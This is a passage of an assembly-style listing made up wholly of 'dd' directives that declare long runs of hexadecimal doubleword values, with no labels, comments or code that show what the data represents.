		dd 0FFE9D1E3h, 60C89058h, 7E43298Eh, 0D07E2D3Bh, 0C4104F00h
		dd 95189E0Ch, 790A01CDh, 0C9320971h, 0DD3180ADh, 0C8C775E4h
		dd 0D85D00FFh, 0E11FABA5h, 84A193ACh, 0F8FC105Fh, 7375884Ch
		dd 693EB67Ah, 9ADF8022h, 5426E5E8h, 6C2E5C05h, 7C98B022h
		dd 0C9BF900Ch, 9367714Dh, 0ADDF0528h, 0BEB02074h, 1100AC46h
		dd 70FD359Ch, 399F3B18h, 271C534Bh, 464AC16h, 0C0A168E4h
		dd 0D52D4D6Ch, 0B376AD88h, 322C1378h, 70E46F80h, 0E5B33500h
		dd 0F5707B22h, 782624AEh, 0C5434008h, 3E0FA956h, 214AB925h
		dd 0E69CA15h, 80789847h, 18C39138h, 0EB0B4725h,	0A28B5429h
		dd 66D55A90h, 21534378h, 0C0FC24D0h, 651F73Fh, 4D7273Eh
		dd 224E90F1h, 0F0054E2h, 37946AC3h, 150249F8h, 638BA397h
		dd 90246008h, 6FAD80FCh, 4C7C5050h, 0FB883B01h,	0F70A5A4Bh
		dd 48F0BC70h, 14292808h, 0B3840FB4h, 0C36576A2h, 3E5270C8h
		dd 0A1B8921Fh, 98993C0h, 97F9054h, 5F48A3A6h, 45E1A8A4h
		dd 54012E4Dh, 280FDAFCh, 362061h, 0F500CE3Ch, 0F8537D36h
		dd 0F64257A2h, 7544D03Ah, 4516F771h, 0F4307BF0h, 8FE1B8Fh
		dd 0A61D0E18h, 1C3C8C3h, 11083979h, 0DCD94684h,	62013C7Ah
		dd 0B57227A5h, 0AB7063DFh, 44349D3h, 9536419Ch,	0C2063DC5h
		dd 7952EC82h, 0C660C040h, 510B6D1Bh, 0C10882E8h, 0F8261B04h
		dd 4713A200h, 0BEE5D542h, 6B15FF18h, 1EF1EB1h, 3B21E1F9h
		dd 20F82757h, 526308E4h, 9EE25A38h, 48D4A6F1h, 0B300CD72h
		dd 3F0681A0h, 48011D5Eh, 34AF5C16h, 5076B7E7h, 39D2C818h
		dd 6F1259FEh, 4C4892EAh, 0AF0980D7h, 95220AD2h,	0AE49260Ah
		dd 0C944F86Dh, 850C5484h, 42EC9061h, 0C322D9h, 2C9CB4D3h
		dd 27AD07A6h, 0FB2BF00h, 29AE02CBh, 49AB0B01h, 9430B6F8h
		dd 764C79B0h, 8F980CCh,	3F8C19h, 0B8C9924Dh, 90A8FDD5h
		dd 0FF576402h, 68DAF9EBh, 0FD2BA386h, 345AD824h, 4091A8D7h
		dd 0B5C45374h, 93D581h,	0F1008E91h, 9254054Ah, 0CF00EE3Eh
		dd 51E5F5EFh, 2CDFFD43h, 0E520D073h, 9C48856h, 2C101B58h
		dd 64098808h, 38580953h, 10FD1B4Ch, 0B265F8h, 88CDC734h
		dd 19DEAEh, 9004A015h, 0BDA75106h, 0F2D89104h, 74812F33h
		dd 8D10F45Eh, 80984EBFh, 0CBB8EF02h, 64C925EEh,	6F2A0158h
		dd 0CA44F5FDh, 82FC28C0h, 4EF864h, 0E45D49EDh, 8D0F8A0Eh
		dd 25D12018h, 4837F754h, 6730E85Eh, 3CE7D8A1h, 304D400h
		dd 95C1FB1Fh, 84FC06AEh, 0F1D9D0D3h, 0A9708D15h, 7A8301B4h
		dd 7C25174Bh, 5D087864h, 6D02B05Fh, 2784011h, 5701ECA0h
		dd 0AD0032EBh, 0C1913604h, 29DD4Ah, 8C31C903h, 0FEC4D897h
		dd 0A2D75E14h, 80B088E4h, 50BC3B45h, 976BF8Fh, 6232F013h
		dd 4E828467h, 4844442Dh, 31802877h, 2464B92Fh, 74431A17h
		dd 3B92A540h, 2D0F26Ah,	8CF7FAB0h, 0A4C0D7A9h, 0B70486CEh
		dd 741C9064h, 324F1431h, 8A3F7Ch, 7055404Ch, 9B2580B3h
		dd 4591190h, 0CAE29D5Ch, 64398182h, 76B8A0F8h, 90741656h
		dd 0AC2C48A2h, 0B56A4280h, 4DCF24C4h, 0A59D843Bh, 27518418h
		dd 797E3000h, 6BD8931Ch
		dd 0F7B80580h, 82E47F49h, 3C71FDF8h, 98E86700h,	2E7B6Fh
		dd 2BE2AFDAh, 0A32FC24Bh, 0F7072505h, 0D4222DA2h, 4C414h
		dd 59280D88h, 0D58FBF70h, 76BA9B01h, 7DE436D4h,	0CE3B13Fh
		dd 43029F60h, 0E3489394h, 0AC445139h, 0A3C9C080h, 71C40157h
		dd 3CA4CE5Ah, 0E0D654C8h, 0D3A50008h, 0F1F848D8h, 9CA03177h
		dd 5C3253A3h, 205AA957h, 9247DBAh, 0F09A4C09h, 3F440589h
		dd 8B5B38CCh, 0D6949890h, 4E82A900h, 0F3291B23h, 0E0A074C8h
		dd 0A5EB12B6h, 0F9F40AB2h, 0AD1148h, 2E4B56A6h,	0F491CAh
		dd 7674E717h, 0E1C9EF79h, 7C843524h, 12EBD0B0h,	806093C5h
		dd 0CCD13A34h, 0E029808h, 0D872E58Eh, 0F799186Ch, 0E8577F28h
		dd 5632Ch, 0E9784900h, 0EEFF9AEBh, 0CCC9CF4Dh, 332844A0h
		dd 8805B637h, 7FC0637Eh, 253DE400h, 4A898D7h, 0FFE3DD39h
		dd 1398A390h, 0A8886DADh, 78E04430h, 7C16749Bh,	8F584C08h
		dd 25E0260Ch, 0FA601C9Fh, 82968C3Bh, 7E506A3Ch,	0E071BDh
		dd 49FE4EB3h, 0D707FD48h, 40B43575h, 40B1327h, 0F8B42444h
		dd 0B26D0C23h, 0DC8154A2h, 0E8F84524h, 948799C5h, 9506AB90h
		dd 597622D4h, 6C386E50h, 0E5E4FD09h, 4D4830DEh,	0A56CA524h
		dd 0ACCAB490h, 0D28A2B00h, 0F6F4922h, 0EA7205ECh, 0C8E25EFCh
		dd 7A0430B4h, 0E8F701D4h, 0DBDC10E1h, 8594B955h, 0D1955228h
		dd 808F16Ch, 577788AEh,	92005892h, 0FBCAEB40h, 24CBFDC5h
		dd 50004185h, 0EF5530A2h, 70C2E588h, 0EC9026C0h, 0D86FBE04h
		dd 0E8F4783Bh, 55A91E13h, 5714A8Ah, 9EA04A0h, 0FF7C31Ch
		dd 64B088DCh, 1ECF3C00h, 5FDE529h, 8D9E3D76h, 87EC6381h
		dd 0E49A0A4Dh, 90B10E03h, 0DAF35180h, 7B274C26h, 62504A2Fh
		dd 0BA20A284h, 0D7FC99h, 84331291h, 2DB6F4A0h, 0DF7E400h
		dd 0BD7D8509h, 542A121Bh, 0D8709283h, 9483D4C5h, 9D3EE980h
		dd 5CE5A098h, 0A40A88FCh, 17901E25h, 8D68D054h,	0FE0E731Ch
		dd 0E7F21F95h, 9989C0DEh, 0F83824D8h, 3B84C8D3h, 50604100h
		dd 9E84E63Ah, 0A6A70EB0h, 5E800727h, 2C4DBD64h,	0FC99AC64h
		dd 7ECCC880h, 0BCD75FBBh, 0D981130Ah, 295C60C2h, 0BDFCF464h
		dd 7ABA7D06h, 80826Dh, 45753CD1h, 0DDBEF41Ah, 0FCAC7BE2h
		dd 46BF3307h, 3565F3E1h, 0B266B8C1h, 0E8D90102h, 0E5416804h
		dd 0A6CC3D80h, 3B2F89Ch, 0DF600B95h, 71854D1Bh,	0DE43FDE0h
		dd 0B19013C0h, 5D097FE6h, 9CA0C9Fh, 0F7B418B4h,	0E52F3EEBh
		dd 0A3A0BA05h, 5E78DC51h, 75B8F552h, 0D22D3002h, 62FE75F0h
		dd 244C6C8h, 0DF2FDB95h, 0C0617F4Eh, 0F08B095Bh, 8501AE52h
		dd 27901281h, 1D3220F4h, 94DDFDE7h, 78896468h, 0C0EDB4C4h
		dd 89006AE7h, 8FCB40CFh, 94B25EF9h, 25C6A70h, 8E698870h
		dd 680264C6h, 80DAD921h, 905AE37Ch, 435B409h, 8FECE04h
		dd 6EEC81BDh, 57BC5720h, 1D0048DBh, 0B038D59Ah,	59800044h
		dd 23504AECh, 1B00B305h, 0C2695F07h, 1654285Bh,	6098AFD3h
		dd 0C7C4F2A0h, 8FEF1D00h, 0BCF6E0F1h, 430E1661h, 95F8CC58h
		dd 2176792Fh, 0DB12B884h, 0CDD7D4h, 0D129BBFDh,	0CCAA8D71h
		dd 0B0C6AB00h, 0DB094A42h, 0CC359D6h, 10354487h, 187584E5h
		dd 0D530EF0Eh, 310229CAh, 7818098Ch, 2B34ACB2h,	60C481E9h
		dd 0E18034A2h, 0E72C8DD2h, 120ED303h, 0D0EFB65Fh, 20D90DC7h
		dd 88263B23h, 788AF0B7h, 738EDC58h, 0B686069h, 0B05A0Eh
		dd 1938F4F1h, 9575F82Ch, 0A20884ACh, 0A620461h,	80C87214h
		dd 0E6222EDFh, 0B3007AB0h, 0E9E1330Ch, 0DE571Ah, 5FEF6063h
		dd 0C93B673Ch, 2C032899h, 0AC3589C0h, 782DFCA3h, 604B68B0h
		dd 0ECFA1E00h, 51BDCAADh, 2A88A868h, 0E35644F5h, 0E86C449Eh
		dd 60758984h, 0BE88584Ch, 4F6C9168h, 351864A0h,	0E8E9DAFDh
		dd 2216317Fh, 0CC72F66Ch, 9EBC4C67h, 330200C8h,	12693896h
		dd 134C90F2h, 0DF22A4h,	3D74D98Dh, 575BA02h, 35E2901Eh
		dd 6D50EB5Bh, 61B9A8B8h, 889C2CF0h, 757945EBh, 81A040C0h
		dd 0F7086BA4h, 96017872h, 5E7D3FC4h, 8C729FDAh,	31769880h
		dd 6700C669h, 21818025h, 527887F3h, 0AC4C7066h,	0BB0E411h
		dd 13151DDEh, 304DD0E8h, 0A8E80778h, 59ACA7E0h,	506C5402h
		dd 0E680BC73h, 0F2E912A0h, 0C6EA26C8h, 64528444h, 3F188815h
		dd 79201E02h, 0E005F0C3h, 2424DD6h, 2483C278h, 0ECF27048h
		dd 158BB200h, 6EE42F82h, 24D02E1h, 0D67BA0D2h, 567C9460h
		dd 589E7475h, 0B000F617h, 696FD7A8h, 0BA40169Fh, 0EA5862FFh
		dd 0B700B8D9h, 0CC224812h, 154B0DEh, 639B6B8Ah,	0C14F7753h
		dd 0B77FFC95h, 244EDB13h, 0C8FCA420h, 4F6B0090h, 0AE51BF39h
		dd 0D9C57473h, 3488CA01h, 0FD3F007Bh, 7E050665h, 75004B38h
		dd 2BAB3EBh, 48B874FFh,	0FD263D8Fh, 8322DB8h, 0B50038D1h
		dd 9D4E65B2h, 7E3406F2h, 0C1F84AEBh, 828CED01h,	15874252h
		dd 0E50CCEC2h, 0E1495A08h, 76A09590h, 1417DC99h, 0B5B89820h
		dd 953A0948h, 0A4078039h, 0A20BA838h, 4E341859h, 0C3D0AB27h
		dd 2A1011FFh, 0C65F00D3h, 7BFAEB3Dh, 0D723097Fh, 0A053CB73h
		dd 5030A112h, 706D7B12h, 9F7C00BBh, 27D5A88Fh, 7900CF6Fh
		dd 0A3168AEFh, 94647717h, 0CC226520h, 0A902C700h, 4CFFE875h
		dd 394CA925h, 7D0263A4h, 459C1843h, 8C40A06Fh, 5718F971h
		dd 3ECD7190h, 0A00FF1Fh, 36036662h, 0B72FB1C4h,	0D3C01007h
		dd 8F4C3B97h, 1304AE80h, 0CEF24DF0h, 447D2F13h,	10E80C8Ch
		dd 92FFE35Eh, 7D30E4A2h, 37CA0F12h, 99A55502h, 43FBAF18h
		dd 2E17A0E6h, 9839FD68h, 8FC7A0Eh, 73D0C60h, 1000A843h
		dd 9310A5Fh, 956F8Fh, 1E1CCABDh, 0CBC6EF90h, 72509378h
		dd 0FE40C09Ch, 32264E1Bh, 0DB205084h, 0F6962556h, 0DA6E0022h
		dd 3F08A913h, 7E250CA6h, 1B444BDh, 0D8C80AFFh, 0C0D965B1h
		dd 5D0896DEh, 0B7FF73Dh, 0B888B6E0h, 0B07060F0h, 0E200371Ah
		dd 31A1F88Eh, 77938601h, 94175352h, 0C90F02Dh, 0FE0B1871h
		dd 803BAF3Ch, 0B223BC5Dh, 313D00E6h, 4C02244Dh,	8904075Ah
		dd 66F0DAC1h, 24DA6C94h, 1674123Bh, 0C8A1D75Eh,	57415ADCh
		dd 95809868h, 3BAB0A52h, 211D1896h, 691225E0h, 2F42E44Ch
		dd 13956300h, 6FC92AE1h, 0A5A244h, 3CB72C1Eh, 1BCE6745h
		dd 8670E52Ch, 0A2938401h, 68257E18h, 200D876h, 0B8BDEAF9h
		dd 5200D9EFh, 6D68D18Ch, 13BCC006h, 37FD53ACh, 2F5B7000h
		dd 3A25601Ah, 272C4C64h, 24116CADh, 84520924h, 2C44C9h
		dd 0C6351753h, 82279B73h, 0FA4A6200h, 7843F7C5h, 521B0954h
		dd 74851A5Ch, 2B28044Fh, 41FC4BDFh, 0A47D932Ch,	58D4762Eh
		dd 0DD0E582Eh, 605A4FF0h, 93699670h, 0A37F008Ch, 9714DE13h
		dd 0BC94EB78h, 0F2703E62h, 0C09100E8h, 5D3136C3h, 0B5185559h
		dd 0D3E1F577h, 0AE7102B9h, 0B046ED58h, 8CB45F60h, 0B4CAB325h
		dd 4C645938h, 921A6001h, 538D4134h, 8A80D738h, 0BD008630h
		dd 0FFB37D43h, 6B2DCF25h, 0DCE6E897h, 0A9AC38h,	7FCB9F2Bh
		dd 0B0BCC8C7h, 202A0357h, 72243C2Fh, 0B804805Fh, 90B8EEC5h
		dd 67FE169Fh, 0E2185C50h, 18242B95h, 7DDE0698h,	2B2C2766h
		dd 0E708E810h, 1F3F9F00h, 4E35AA60h, 5F540F8Eh,	0D20F550h
		dd 0D65E6759h, 0A22DC4A4h, 14BC2556h, 0F340B4h,	0BA13E66Ah
		dd 32E80F08h, 49A91909h, 0F4E0884Eh, 43F88D42h,	0DC11179Ch
		dd 0D620288Ch, 103234B3h, 0ACA224AFh, 5A2F7CF8h, 0EA58B3B2h
		dd 9F485CBDh, 0F9694170h
		dd 208CB513h, 3740B32Ch, 4E430BFCh, 0FD82633Ah,	44FB8626h
		dd 0CE5E1205h, 0D40938F2h, 4422686Ch, 4C5E2E4Ch, 0D8D07797h
		dd 2BA609h, 4997F567h, 76364883h, 81247B4Dh, 0D85EFF75h
		dd 0C03D6451h, 4B5A604Ch, 6F24D8D9h, 0CB9DC0B6h, 0FC466A80h
		dd 4DEC736Eh, 1C5890BCh, 64486D25h, 0EF2568DBh,	33BCB081h
		dd 3D8A2F7h, 32CD5A58h,	574161D1h, 5C886E24h, 0EFD11D98h
		dd 0B34105CDh, 0C0C0C4D2h, 910B108h, 0A479F42Ch, 463823CEh
		dd 0F30C8837h, 8F280970h, 24B08CB0h, 2EF15E78h,	11577422h
		dd 76DC4220h, 31E1DC72h, 7273C874h, 0F9089700h,	0B38D4431h
		dd 0BC985848h, 79C1093Dh, 23388B8h, 7C3B9EF7h, 1880C0BAh
		dd 1367E2C0h, 0DB427099h, 0D3CA1363h, 8CD78A2Fh, 0D45EBC40h
		dd 905C996Dh, 37BBA12Dh, 750CE605h, 90D9AD25h, 692DA31Ch
		dd 1404F9ECh, 32025DA0h, 0E15F0F78h, 2063AB99h,	0CB007E3Dh
		dd 0E2BE2F3Fh, 8C00C9C7h, 1CCFCAEFh, 0BE28A2E6h, 18714954h
		dd 0E4626397h, 0D0F151h, 0F858BB60h, 1A00ADD8h,	0F1E77E10h
		dd 5D40C86h, 9CBE8217h,	52F0C826h, 0E2442896h, 6D3F8025h
		dd 2404982Ch, 0B64838C3h, 28B7B492h, 68C9427Ch,	3270D4B1h
		dd 2D96003Ch, 0F7C98EA1h, 0F9B094Ah, 0CC048DF0h, 239CB666h
		dd 21202464h, 0FC2A7Ch,	0DFFC99D8h, 699830F5h, 10C0AA59h
		dd 0F60707ADh, 0D12C3B4Bh, 22938231h, 98209794h, 0EEAA6Dh
		dd 628C15F7h, 95F31A71h, 0E6C58401h, 0A9224DAEh, 55B4222Eh
		dd 52234C22h, 6954B41Ch, 587A879h, 68B0A638h, 1719AB11h
		dd 9CD5BB2h, 0C05B1A44h, 9C172CA0h, 0E605CF58h,	2CF20BF1h
		dd 0CCD95134h, 85008DFCh, 7AFCB031h, 0D25DCAh, 7726B442h
		dd 0CDF78464h, 8BCC580Ch, 0A05698B1h, 0A45773A4h, 51A444F0h
		dd 52126026h, 0D6FD6B00h, 38D5BBCFh, 0F5A100Ch,	55607810h
		dd 751B604Bh, 7C935770h, 0F3DE12h, 828F853Ch, 7D80E269h
		dd 95DD2661h, 0B959DF07h, 1DA29301h, 133061D1h,	2E10CBD8h
		dd 41AC767Ah, 3058F95Dh, 951E1AB2h, 2197EF0Ch, 37117C67h
		dd 0F9E901EDh, 0E974642Fh, 30B041C8h, 45B8281Ch, 9898AF2Fh
		dd 0FCEC8BF4h, 8F3604D5h, 0D887F6B7h, 1C01322Ch, 482B5647h
		dd 0A422766Bh, 0BBD80603h, 36B01813h, 35001929h, 9FD91524h
		dd 2FE726C6h, 0A0B0EE94h, 6A80DD41h, 327595h, 684B730h
		dd 9874136Bh, 94664327h, 264D2710h, 0D816B044h,	2560ECh
		dd 6400E484h, 0B47124A5h, 817E1F3Ch, 9AA44183h,	385A1843h
		dd 78501210h, 2C2FA4B4h, 1C85A2C1h, 0B5C8C152h,	0D07C8F82h
		dd 0E20497E7h, 0DDCDD472h, 3884F8E8h, 0C080F2B2h, 8BD446C0h
		dd 0C0CC5901h, 8DFE6C00h, 44D26AD8h, 0CF40950Bh, 0CE604815h
		dd 574300E9h, 1F05B8F8h, 10038E4h, 8DF664AAh, 0AC505D44h
		dd 2B4D15F0h, 205A80E1h, 66871F0h, 28140100h, 0B038B287h
		dd 95600484h, 85ADA58Dh, 0E3CC3592h, 80D2C814h,	3DB6487h
		dd 0E8B80A91h, 12DAF33Dh, 44A25CA4h, 3FB07E81h,	74A0E0B7h
		dd 212CC149h, 6311C3h, 85790CE5h, 7BF98D0Ah, 27A17ED3h
		dd 0E8C5A99Dh, 0FC25AE11h, 8EC0CC12h, 400F7B79h, 0A32BCD02h
		dd 99586349h, 0B440FD1Fh, 1370F56Ah, 763D4711h,	50FB4898h
		dd 0BD4441D8h, 0CC962903h, 905E8C5Ch, 5ACEF95h,	6BD7404Fh
		dd 4650C02Ah, 1CB3FE93h, 7E00FD9Fh, 4E907BBFh, 8D871632h
		dd 2ED863BEh, 0F8F1FD99h, 30009CECh, 8F1DBF24h,	985C21CBh
		dd 0AE922C0h, 0D76B2704h, 14F9522Ch, 9563EE82h,	9C0A980h
		dd 24B84EBEh, 0CCA6780Eh, 0FFDF856Dh, 0F078E899h, 0E958B380h
		dd 0FE070B7Ah, 301350D3h, 592BB812h, 294D05DCh,	17F4E2C4h
		dd 0D8C879DAh, 525901AAh, 0A6C4EA85h, 18607025h, 0AEF8A197h
		dd 0C8506C73h, 95A837Fh, 0FE76678Ch, 4194C404h,	61E82DA2h
		dd 0A2ED5A03h, 0AA2281A0h, 0CCCDF666h, 4731C0h,	0A57F39FBh
		dd 0C62E4DB5h, 0B794B8B5h, 2899009Eh, 689DECA9h, 461C4B7Dh
		dd 0C8C07BE0h, 2FD09FB2h, 2014253Ch, 2C2C0CA7h,	0B0AE7849h
		dd 0A5100894h, 4300229Dh, 223C27B4h, 2413A1EBh,	13466EFh
		dd 2662D5E2h, 0F1C2978h, 2FB2AB7h, 0F1740F1Fh, 0B0E834h
		dd 6D03C689h, 0FF5DA47Ah, 0F4561124h, 0BC458D04h, 2E288378h
		dd 0D7CC22BDh, 4C005AC2h, 0A970E920h, 187D0209h, 75240452h
		dd 0F787A4E3h, 5CBC88A2h, 4640C04h, 0EC84C82Ah,	0D4CC176Ah
		dd 0A3C4346Ch, 7D853E8h, 0D69C96A4h, 0F4E05040h, 0E26E0BCAh
		dd 0CC324D3Dh, 10A7DCC1h, 1E1E5F1h, 209CDB3Dh, 0D05A492Bh
		dd 4F0972F7h, 90CA138Dh, 1F3E4430h, 2E98E3FFh, 387F0894h
		dd 0E0A47712h, 0CEDA191Bh, 0D83554C9h, 5700E907h, 6B29E74Dh
		dd 2BC882C4h, 89EC4BBFh, 0C069D7ADh, 9CF0486Eh,	4828FC00h
		dd 0C9CBE705h, 95880289h, 0F736BD78h, 6349886Ch, 8088C8ACh
		dd 0D9E201DDh, 2F005CD1h, 11C7DF4Ah, 48B13C5h, 9FF397B5h
		dd 1160B651h, 0F7DABD8h, 1D88E2AEh, 18AB90C9h, 5F7324A0h
		dd 0AA17A9F7h, 64099537h, 0A2109079h, 20149130h, 228E4E4h
		dd 83FC7F97h, 0DBAFBCh,	925EA28Eh, 5D162C30h, 0F5FCEF19h
		dd 0C1431F66h, 0A0C42D53h, 6000077Fh, 0CA0A6CD0h, 1676310Bh
		dd 64518CBFh, 65408038h, 525E21DAh, 6C804C65h, 74276090h
		dd 73C03E4Eh, 96C0884Eh, 8D75A200h, 3812915h, 200CB0B0h
		dd 2027AEFBh, 0ED341018h, 9DFA0509h, 9DE6640Fh,	0A9ADD0E4h
		dd 87459C3Fh, 0E43B2F6Ch, 3D328870h, 246EF3AEh,	6B94DD84h
		dd 6347D820h, 547F0F8Ch, 4CC7BDFCh, 71AC9525h, 11A6D7D8h
		dd 10385FA2h, 644AD888h, 0ACC425h, 4260E10Dh, 0DFC2A21Dh
		dd 0CC9008E4h, 0E01153h, 30F8233Dh, 56372A93h, 8D2FD851h
		dd 326D3C81h, 61C43012h, 0FA25FE00h, 0C07BAAAFh, 22575EA3h
		dd 0D63AE438h, 485465E0h, 0B9C9CF14h, 0AB1091F0h, 0EE0084AFh
		dd 8E53DDE2h, 99F45Fh, 0ED777DE7h, 0BD1AAA27h, 50885E4Fh
		dd 0C57112h, 0B9D9F843h, 643569C4h, 0EC6C2E00h,	0CFA8FD32h
		dd 0E463492Dh, 9CC9374h, 8C5277E4h, 0BE695900h,	0C5F71695h
		dd 0EFA603DDh, 0F66E7E8h, 5BA4E6E4h, 8E74C8h, 25320319h
		dd 645716DAh, 2C74904Ch, 1442BC59h, 6CCA05Ch, 7AE5D0DAh
		dd 0FA420120h, 0CAADA1ABh, 84602219h, 0E0A08227h, 194E0988h
		dd 0C4E42AA4h, 3CF8F851h, 6C7B2950h, 0CA5810C9h, 309D0067h
		dd 4B49C60Fh, 6900AF1Bh, 2C4A7D8Fh, 18BCAB9Bh, 9C95409Ah
		dd 10B5A965h, 7D2C1ACh,	0F416B3A1h, 7697F1CFh, 0F5E850F3h
		dd 21E8AF3Ch, 0D7D48A4Dh, 0E62EFC90h, 0E56400FCh, 9037CE5Eh
		dd 0C304EFC1h, 65E13C1Ah, 0D811F0E6h, 4C01014Fh, 324D1D5Ah
		dd 66604B6Fh, 4078E404h, 131E6051h, 162FFA3Dh, 989B3A4Eh
		dd 119F0310h, 0BA602DF4h, 1D7750h, 0C37D733Ch, 8C3A1A03h
		dd 0E885DE00h, 0F9FB13A7h, 68B05BAh, 0B364789Eh, 0B94980D8h
		dd 8C1E72h, 87B37C2Ah, 11EE1857h, 4B3FC33Dh, 88DDCCD8h
		dd 0AD0011A2h, 0CB8E438Fh, 6E42A8h, 4D0767FAh, 7B613906h
		dd 0AB11D4B6h, 59D8CB00h, 6B089404h, 0E05E7E04h, 0C4C46737h
		dd 0C4919084h, 636F7B7Ch, 0FAA821D0h, 0C42D2D07h, 1244434h
		dd 2F95220Fh, 0EED1B9FCh, 600BA8D9h, 0E78180B6h, 9344677Eh
		dd 205E97E0h, 99D78DC0h, 24CAD301h, 0F8388E4Dh,	0EB105437h
		dd 0D22D89AAh, 588D499Ch, 0C8E35E16h, 87855C4Ch, 89CDE61Fh
		dd 0D38D4E80h, 512CF84Ch
		dd 0A03BC44Fh, 0B9FC7A37h, 39BB0010h, 971C7564h, 0F609EBF2h
		dd 0FA15F9ACh, 871D00A0h, 167BEE50h, 94006DC5h,	1B86CB5Fh
		dd 99FC842h, 2B07E0BCh,	3F0130ECh, 0E17746C0h, 0A02874A1h
		dd 0D70E1A80h, 81003F67h, 606699BEh, 26621410h,	0E4F05DE3h
		dd 0B6541A7h, 0B1E4931Dh, 0CC044F7Dh, 6498244Ch, 86C6748h
		dd 5BCB6B9h, 8734CAAEh,	9CF29504h, 0C82A95A4h, 8600E8D9h
		dd 0BB77B4CDh, 0D46638h, 58EF8328h, 7A818508h, 24A03095h
		dd 73AD88A9h, 2244849Eh, 30C4D825h, 0B177D744h,	0AEAA01F4h
		dd 9CCDD6E7h, 7E89FFB8h, 8AC0D97Ch, 25282D4Ch, 0B6A8C8E0h
		dd 532C5C82h, 0CAECECD5h, 608098A4h, 6D8E1C1Ah,	27949h
		dd 63CCE70Fh, 0EF2A164Fh, 0CFF6F04h, 0C8DC7D47h, 0E6B0130h
		dd 5EEBCEFBh, 7C2472E2h, 984A4F05h, 28B60A57h, 10646725h
		dd 89A84D48h, 1FE8D951h, 4344C0A2h, 9306EEB3h, 71767E71h
		dd 0DF865405h, 8A990FFh, 9451D5CBh, 342EF340h, 4F550063h
		dd 0AB7C5BAh, 0E1054A8Ah, 6793380Bh, 88D2ECDCh,	4DE607D1h
		dd 0A862045Ah, 5D0512Ah, 0C86526F5h, 624101DCh,	1D031DE4h
		dd 0D75B64CBh, 0AEB600D2h, 6C40E124h, 1A02EA09h, 0A03C2285h
		dd 0E01074B6h, 765DEB3Bh, 8201B33Dh, 0D1D79F98h, 45045863h
		dd 2023ACh, 0C8209FB9h,	59BEA13Fh, 1282446Dh, 0F07173AEh
		dd 0C8D22710h, 5E3FC97Ch, 54682E29h, 3DA0803Eh,	371F7BF5h
		dd 0CF9F01F7h, 0EF9593DAh, 4E6BD8BFh, 0E4D8292Fh, 49E46F3Ch
		dd 0DCFE7804h, 98A65760h, 57F81C48h, 5E632004h,	24E8C8A3h
		dd 0C34CACB0h, 5E179338h, 0FC30D853h, 5DA67h, 0E3A1A384h
		dd 6EC7F34Eh, 8DFFDE16h, 0F10D1831h, 0C837D0h, 5972D2ADh
		dd 891EB73Ch, 0C9746D07h, 47E0F35Dh, 2EDF0491h,	0E2C4527Ah
		dd 0B4917678h, 200E8731h, 0E20E3491h, 0C1F6FE95h, 0F42D1B89h
		dd 0D460C893h, 7C74838h, 47FB1FCEh, 986C0400h, 0C0745C9Bh
		dd 393F2FF0h, 218ED700h, 0C0826364h, 2BFF0106h,	19E701C8h
		dd 9F070Dh, 7786E0D0h, 542809F8h, 0ACE1B92Fh, 0CAC85071h
		dd 0DA00EA03h, 0F155441Fh, 78B6E63h, 0B24931BBh, 1ECA7234h
		dd 0ADC2D85Eh, 0BE4FA75h, 1B25A301h, 0E7006859h, 19BCD49Ch
		dd 0F7D001ABh, 6A7BE949h, 0D5483077h, 9881FC91h, 0DBCB0F03h
		dd 0FE17243Ch, 0ADBC8C08h, 88287CF7h, 226C642Ch, 2D1445E2h
		dd 2295E804h, 0EAD021AAh, 0B212DCA6h, 7A669213h, 0C896A4B2h
		dd 6407FA84h, 0A421F3B3h, 0DC9506C4h, 80A51C08h, 480949ABh
		dd 0F200D172h, 27EFE753h, 43EDE89h, 0FD508F17h,	4CFD15h
		dd 0E05588B5h, 0F13952h, 2DA96AC1h, 0AFE30F44h,	0E8C20C04h
		dd 0B0B2872Ah, 4F5FA7Eh, 0F9428E03h, 7150B65Eh,	0C55A4B0Bh
		dd 60D8126Fh, 11A239Eh,	18EA169Ch, 0F0E7B552h, 502EB55h
		dd 0C5FB53A9h, 0E210765Bh, 147159A2h, 624E6A85h, 45EB08C8h
		dd 83682CDAh, 983E1E36h, 10D07Bh, 0B4DE5F75h, 72073B46h
		dd 2762C001h, 97542901h, 84203825h, 679A1438h, 0CC49FDD7h
		dd 0C5211DCCh, 71D84802h, 551713D6h, 4F23DC80h,	20BC12Ah
		dd 85C98F33h, 68E477BFh, 959839h, 41AEB770h, 35A4919Ah
		dd 0C4EB7096h, 2252570h, 0BE00E064h, 4379C1E0h,	0B497465Eh
		dd 9002CBD8h, 4295759h,	0F240DD68h, 0FFA86CCAh,	0E2846CB4h
		dd 48EDC719h, 5C887000h, 4D1A2ACCh, 452F3A12h, 0BBE7C044h
		dd 0B1E35A02h, 62AB6104h, 9B015DC0h, 54DAC8BBh,	7478C444h
		dd 8802A8F3h, 64B39AA6h, 9840B06Ah, 62410557h, 2CFCF84Dh
		dd 889200D2h, 0AC7750D7h, 3D3CBB23h, 60310028h,	74A36E05h
		dd 3CD459ECh, 0A6507929h, 211A639Ch, 661291B7h,	0D646E0AFh
		dd 154A7E02h, 14617255h, 0BEAD44h, 0B6844B01h, 0AE92E3FDh
		dd 149E6302h, 7486C82Ah, 48E86B88h, 49798270h, 3B3F051Eh
		dd 0BF146125h, 0C794B815h, 205344BDh, 3F8CC3FAh, 18C85170h
		dd 28019B80h, 603C556h,	0BA22D091h, 69502865h, 57DA22A8h
		dd 6293D825h, 752402D4h, 254460F9h, 6E4B84D9h, 286C605Dh
		dd 8063FE43h, 0B044D1h,	3BE7A89Eh, 43B3D82Ch, 0FF944D04h
		dd 56AE847Dh, 0C4FC08E4h, 28D07797h, 0DA3673h, 94A82996h
		dd 0E5EBF55Dh, 9710D13Bh, 0C042FA4h, 5491B51Dh,	0F7085852h
		dd 70F35007h, 204BE5E9h, 0DFF206A4h, 0F012BDABh, 0F670EC7Eh
		dd 20860B3Bh, 5880E255h, 516B7762h, 0EDAF5D00h,	23137530h
		dd 8CCB561Dh, 4B4A9C48h, 0CCF21440h, 0E330670Fh, 0F779A706h
		dd 2818C186h, 3C9CFC20h, 0A7446475h, 1EECC388h,	0C1F02577h
		dd 42729A23h, 20A6A4E4h, 2FEF3686h, 0C7411308h,	18300602h
		dd 0F700212Ah, 7FF8604Bh, 9E8406Ch, 8CA8BCB4h, 6590BC21h
		dd 0F1819261h, 0DB0038F2h, 3B5D67D1h, 0DD2E499Dh, 0F14958FDh
		dd 0FE7506F8h, 0DF64E095h, 8240A6B0h, 0D016F077h, 63E5AA00h
		dd 49AC5B6Ch, 0CCF75B21h, 0D33DADB8h, 792A01BDh, 0C43CFB0Eh
